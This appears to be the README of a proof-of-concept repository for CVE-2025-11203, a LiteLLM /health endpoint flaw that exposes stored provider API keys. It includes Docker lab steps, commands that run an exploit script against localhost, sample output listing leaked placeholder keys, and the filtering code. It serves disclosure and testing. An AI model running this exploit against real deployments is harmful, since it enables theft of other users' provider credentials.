CVE-2025-11203 — LiteLLM Health Endpoint API_KEY Information Disclosure

LiteLLM (versions < 1.63.14) 的 /health 端点在处理 api_key 参数时， 未正确过滤敏感信息，导致已认证用户可获取其他模型配置中存储的 API Key。本应通过 _clean_endpoint_data() 函数移除的 api_key 字段在某些代码路径中被泄露。

Field	Value
CVE	CVE-2025-11203
ZDI ID	ZDI-25-929 (ZDI-CAN-26585)
CVSS v3.0	3.5 (LOW) — `AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N`
CWE	CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
Affected	LiteLLM < 1.63.14
Fixed	v1.63.14+ (`_clean_endpoint_data()` 全面应用)
Published	2025-10-29
Discovered by	David Fiser & Alfredo Oliveira — Trend Micro Security Research
Reported to vendor	2025-03-25
Links	ZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq

Description

LiteLLM 的 /health 端点用于返回所有已配置模型的健康状态。正常情况下，_clean_endpoint_data() 函数应从健康检查响应中移除敏感字段（如 api_key、x-api-key 等）。

然而在 v1.63.14 之前，该清理函数在某些代码路径中未被执行或执行不完整，导致模型配置中的 API Key 在健康检查响应中被明文返回。

漏洞端点

端点	方法	说明
`/health`	GET	返回所有模型的健康状态
`/health/liveliness`	GET

泄露的敏感信息

已认证用户可通过健康检查接口获取:

所有已配置模型的 API Key（OpenAI、Anthropic、Azure 等）
模型端点 URL 等信息
存储的凭据可被用于进一步攻击

Proof of Concept

Quick Start (Docker)

# 1. 启动脆弱版 LiteLLM
docker compose up -d

# 2. 安装依赖
pip install -r requirements.txt

# 3. 运行利用脚本
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key

# 4. 查看完整响应
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose

# 5. （可选）验证修复版本
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed

预期输出

======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
 Target     : http://localhost:4000
 API Key    : sk-litellm-master-key...
 Endpoint   : /health

[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
    HTTP 200 — OK

[*] Step 2: Scanning for leaked credentials...

[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!

    Path  : unhealthy_endpoints[0].api_key
    Field : api_key
    Value : sk-this-is-a-leaked-openai-key...cdef123456  (len=43)

    Path  : unhealthy_endpoints[1].api_key
    Field : api_key
    Value : sk-another-leaked-key-789012xy...-789012xyz  (len=31)

    Path  : unhealthy_endpoints[2].api_key
    Field : api_key
    Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx  (len=33)

 Models checked: 3
 Credentials leaked: 3
 [🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!

Note: Step 1 takes ~60s because LiteLLM probes each upstream model (fake keys cause each connection to time out). The leaked keys appear under unhealthy_endpoints since the fake keys can't actually connect to OpenAI/Anthropic.

修复版本拒绝泄露:

======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
    No API keys found in response.
    [+] Expected: keys sanitized by _clean_endpoint_data()

Technical Details

漏洞代码

漏洞位于 litellm/proxy/health_check.py 中的 _clean_endpoint_data() 函数，其通过 ILLEGAL_DISPLAY_PARAMS 列表过滤 api_key 等敏感字段:

ILLEGAL_DISPLAY_PARAMS = [
    "messages",
    "api_key",
    "prompt",
    "input",
    "vertex_credentials",
    "aws_access_key_id",
    "aws_secret_access_key",
]

def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
    return (
        {k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
        if details is not False
        else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
    )

本演示中已通过 sed 从 ILLEGAL_DISPLAY_PARAMS 中移除 "api_key"，使 /health 响应返回原始模型配置，模拟该清理函数在某些代码路径中被绕过的情况。

影响

已认证的低权限用户可以读取所有模型配置中的 API Key
泄露的凭据可用于直接调用 LLM 提供商 API
可导致进一步的数据泄露和账户接管

Environment

CVE-2025-11203/
├── README.md                    # This file
├── docker-compose.yml           # Vulnerable + fixed LiteLLM
├── litellm_config.yaml          # Config with 3 models + API keys
├── requirements.txt             # Python dependencies
├── litellm-vuln/
│   └── Dockerfile               # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│   └── exploit.py               # Main exploit script
├── docs/
│   └── advisory.md
└── screenshots/

Fix

在 v1.63.14 中修复，确保 _clean_endpoint_data() 在所有健康检查代码路径中被正确调用。

缓解措施

升级 LiteLLM 到 v1.63.14+
若无法升级，限制 /health 端点的访问来源
监控健康检查端点的异常访问

References

Disclaimer: This content is provided for educational purposes and authorized security testing only.

CVE-2025-11203-PoC

最受欢迎